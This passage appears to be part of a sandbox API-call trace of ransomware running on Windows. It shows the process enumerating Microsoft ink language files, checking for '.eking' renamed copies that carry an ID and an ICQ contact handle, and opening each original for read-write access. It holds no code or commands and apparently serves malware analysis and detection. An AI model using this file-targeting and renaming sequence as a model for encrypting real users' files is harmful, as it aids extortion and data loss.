Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.798] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=46622) returned 1 [0230.798] CloseHandle (hObject=0x37c) returned 1 [0230.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0230.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0230.798] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.798] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.798] SetEvent (hEvent=0x2b8) returned 1 [0230.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.799] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=84190) returned 1 [0230.799] CloseHandle (hObject=0x37c) returned 1 [0230.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0230.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0230.799] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.799] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.800] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.800] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=180172) returned 1 [0230.800] CloseHandle (hObject=0x37c) returned 1 [0230.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0230.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0230.800] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.801] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.801] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=208408) returned 1 [0230.801] CloseHandle (hObject=0x37c) returned 1 [0230.801] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0230.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0230.802] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.802] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.805] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=8704) returned 1 [0230.805] CloseHandle (hObject=0x37c) returned 1 [0230.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0230.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui")) returned 0x20 [0230.805] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.805] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.808] SetEvent (hEvent=0x2b8) returned 1 [0230.809] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.810] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5120) returned 1 [0230.810] CloseHandle (hObject=0x37c) returned 1 [0230.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0230.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui")) returned 0x20 [0230.811] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inkobj.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.811] SetEvent (hEvent=0x2b8) returned 1 [0230.811] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.812] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3072) returned 1 [0230.812] CloseHandle (hObject=0x37c) returned 1 [0230.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0230.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui")) returned 0x20 [0230.812] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.812] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.813] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.815] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=23040) returned 1 [0230.815] CloseHandle (hObject=0x37c) returned 1 [0230.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0230.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui")) returned 0x20 [0230.815] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.815] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.815] SetEvent (hEvent=0x2b8) returned 1 [0230.816] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.820] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2560) returned 1 [0230.820] CloseHandle (hObject=0x37c) returned 1 [0230.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0230.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui")) returned 0x20 [0230.821] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.821] SetEvent (hEvent=0x2b8) returned 1 [0230.821] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0230.822] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=199994) returned 1 [0230.822] CloseHandle (hObject=0x37c) returned 1 [0230.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0230.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0230.822] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0230.822] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0230.823] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.174] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9216) returned 1 [0231.175] CloseHandle (hObject=0x37c) returned 1 [0231.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0231.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0231.175] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.177] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.178] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.181] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3072) returned 1 [0231.182] CloseHandle (hObject=0x37c) returned 1 [0231.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0231.183] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0231.184] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.184] SetEvent (hEvent=0x2b8) returned 1 [0231.184] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.227] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=44032) returned 1 [0231.227] CloseHandle (hObject=0x37c) returned 1 [0231.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0231.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0231.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.228] SetEvent (hEvent=0x2b8) returned 1 [0231.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.236] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5120) returned 1 [0231.237] CloseHandle (hObject=0x37c) returned 1 [0231.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0231.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0231.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0231.249] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9728) returned 1 [0231.249] CloseHandle (hObject=0x37c) returned 1 [0231.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0231.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0231.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0231.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0231.250] SetEvent (hEvent=0x2b8) returned 1 [0231.250] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 